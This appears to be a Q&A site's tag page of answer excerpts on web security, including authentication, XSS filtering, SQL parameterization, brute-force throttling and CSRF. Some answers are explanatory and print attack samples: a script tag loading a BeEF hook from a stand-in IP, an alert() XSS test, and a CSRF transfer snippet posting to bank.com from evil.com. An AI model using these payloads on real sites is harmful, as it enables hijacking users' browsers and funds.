Tag Info

New answers tagged

0

There is no such thing possible till day. as Graham Hill said that you can use two layer authentication, mean when u login a code will be sent to you on mobile and than you have to enter that code and than you can see the inbox. Well apart from this Gmail is continuously capturing the location from where u loggged in. And benefit of this is if someone have ...


1

You have a lot of options and you should pick the best one based on your requirements. Authentication systems aimed at automated systems have different usability requirements than users. For example, users generally don't want to present their password with every request or handle long, complicated passwords. The code calling your API doesn't have those ...


1

I have used HTML Purifier before and have been pretty satisfied. http://htmlpurifier.org/ However, I have not performend extensive/advanced testing on it. The basic XSS attempts get caught, the website seems to show the maintainter has a knack for this thing so I assume it is not a bogus project. If anyone on here believes otherwise, please let me know.


0

There is the OWASP Enterprise Security API which has a php version. Otherwise, there is the web application firewall approach where using something like PHPIDS or mod_security can stop some of the attacks.


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.


4

Regarding why it has cross-site in the name, Jeremiah Grossman has a good article on that. Snipit below: What was soon discovered was that a malicious website could load another website into an adjacent frame or window, then use JavaScript to read into it. One website could cross a boundry and script into another page. Pull data from forms, ...


4

A good compromise between user experience and security would be to have IP-based captchas that trigger after a few failed logins from a particular IP, regardless of username. This approach isn't vulnerable to DoS attacks against a single user by bruteforcing his account until the backoff time reaches several hours/days and prevents the legitimate owner of ...


2

Whether a VPN is necessary in this scenario would largely depend on the nature of the traffic between the worker and the web server and whether you're worried about Man-In-The-Middle(MITM) attacks. A VPN could add two potential benefits to your security here. Firstly it should encrypt the data between the endpoints. This is obviously a security benefit if ...


15

A relatively user-friendly way of mitigating brute-force attacks is delaying the minimum time between attempts. The first time your user enters wrong credentials, you let him wait 1 second before he can try again. The second time, you let him wait 2 seconds. The 3rd time, you make him wait 4 seconds. 4th time, 8 seconds, and so on. You also base this on the ...


5

To expand on Xander's answer - when you use a parameterized query the parameters are never inserted directly into the statement. Instead, the query itself along with all of the parameters are passed to a stored procedure called sp_executesql. When executed this way the parameters are treated as data rather than being parsed out as part of a SQL statement, ...


7

A more common term for this is "parameterized SQL". You are still taking user data, as you pointed out, but the security lies in the fact that the application knows what is data, and what is executable. When you build a SQL statement as a string and pass it in it's completed entirety to the database, the application simply has to trust that the SQL ...


1

You are safe to skip server-side validation for that form providing you truncate excessively large inputs, use parameterized queries, and html encode the data if you ever output it. The accepted answer states that you "should always implement server side validations to prevent attacks". For this particular form, what validations must be implemented that ...


6

I'm afraid not. You might be able to solve your problem with something called "two factor authentication" though. This is an option you can enable in Gmail where you will need to have your mobile phone with you whenever you log onto your mail. It is very easy to set up and highly recommended. If this won't fix your issue, edit your question to add some ...


1

A good way to start is to prevent connections to the API application from anything except valid client addresses, in your case, your angularjs server. Additional security would be gained by implementing a revocable shared API key between each angularjs instance and your API, so you can revoke permissions from compromised instances. Also, it's good to ...


1

You can detect the use of known bad dependencies with OWASP Dependency-Check I found this also looking for tools which attempt to exploit the known issues repetitively. It's looking like I may have to modify existing active vulnerability scanners.


1

I believe that this is not possible in a failsafe way, unfortunately. Let me explain why. You want your frontend app to have a way to identify itself to the API. In other words, you want authentication. But authentication requires the existence of some kind of unique, secret data that the frontend app can use to distinguish itself from other applications. ...


2

From your question and comments it seems that the business leadership of your company have no interest in security. This is the fundamental thing you're going to have to fix before you do anything else. Implementing security controls is inevitably going to a) cost some money and b) cause some pain. Without support from your leadership, you won't get over ...


29

The ISP (here, the WiFi hotspot) is what delivers pages to you. It's of course trivial for an ISP to read unsecured traffic: Let's now consider a case where the credential submission is secured with HTTPS (so the ISP cannot sniff them right off the wire), but the HTTPS log-in page loads an unsecured script, helper.js. The ISP can inject any behavior into ...


2

I assume the login form on tmail.com will be send with https. Otherwise you can read the plain password with a packet inspector. Your browser loads a webpage from tmail.com. The wifi owner can add a JavaScript into this page. This script will log whatever you type into the login form of the mail provider and store it somewhere. Will URL still remain the ...


0

You have the comfort that when your cloud provider is compromised, or crashes, you will be in the company of many others.


0

What does that really mean? Can you please give me a real life example? Simple attack example On page at evil.com the attacker has put (jQuery because lazy): $.post("http://bank.com/transfer", { to: "ciro", ammount: "100" }) The attacker then convinces you to visit evil.com (YOU'VE GAINED A PRIZE!) This would work because authentication cookies ...


5

Perhaps one of the most interesting case studies of exactly this type of situation is www.blockchain.info, which employs client-side encryption and obviously has a lot at stake: the contents of millions of users' bitcoin wallets. Their initial approach was a browser extension that verified the website's source assets against a predefined list of hash sums: ...


0

I think your example describes exactly why it isn't that simple. There are many forms of XSS, and quite a few of them don't rely on attackers injecting entire tags at all. What Rook was getting at in his comment is that you should generally rely on a good existing XSS filter to deal with the threat rather than trying to piece one together your own, as ...


2

I would not use ESAPI-PHP. It's a port of the Java ESAPI framework, (which has had its own issues, but soldiers on, more or less, mostly less) but the PHP port has been dead for a considerable amount of time now. I wouldn't trust it as far as I could throw it. I can't speak authoritatively to the PHP Security Project, but at a glance, the PHP Security ...


0

I would say a lot depends on if the users are remote, or are on the local machine. I would disable the feature if you do not need it. Local user / attacker: If the users are local, an attacker can find out most (but not all) of this information fairly easily, although this report would certainly make it easier for the attacker. Even locally, there are a ...


-2

I also got stuck here for some time. It turns out that our WebGoat is Linux version. Linux only uses LF, so when encoding the parameters, only use %0a, instead of %0d%0a.


0

This is called a 403 phishing attack, and the only way you can prevent it is to prevent user-generated-content from containing links to external resources that are rendered on your pages, like images. Fortunately, it's not a particularly common attack, but it can be concerning, particularly if the credentials users use on your site are more likely than ...


0

It the code works, obfuscation is worthless. Take this example: Before obfuscation: function say(whatever){ alert(whatever); } after: eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c] ||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(ne w ...


0

Technically yes, there is a very minor data leakage vulnerability here. In your example: "aaaaaafooNfooaaaaaaa".replaceAll("foo([A-Z])foo", "user_input") if user_input contained $1 and the value of the above was output and the input string aaaaaafooNfooaaaaaaa was not user controlled, the user would be able to find out what the original "secret" string ...


2

The whole point of having a "stateless" thing is to avoid maintaining state (here, on the server side). Stateless servers are unavoidably subject to replay attacks, by definition. The problem you are envisioning is basically a replay attack. If attackers can steal clients' cookies, then you already have bigger issues. If they cannot, then there is no ...


2

No, there really isn't. In order for this work, you need to have some form of session management in place to determine whether the token in a cookie is valid or not. They may mean maintaining a list of valid sessions as in traditional session management, or explicitly blacklisting tokens that have expired for some period of time. (Less overhead on the ...


0

What you've described is very similar (almost identical) to the basics of the OpenPGP standard. It would be wise to read up on OpenPGP before attempting your own implementation of this scheme. To answer your question posed here: Here is where I am having trouble. If I decide the store a hash of the passphrase in the Session, then the server would ...


0

You do not specify what version of Jboss you are referring to, or if you're talking about EAP from Redhat, or the Community Edition. The configuration is quite different from for instance Jboss CE 6 to 7. These are some starting resources for both EAP and CE: https://docs.jboss.org/author/display/AS72/Hardening+Guidelines ...



Top 50 recent answers are included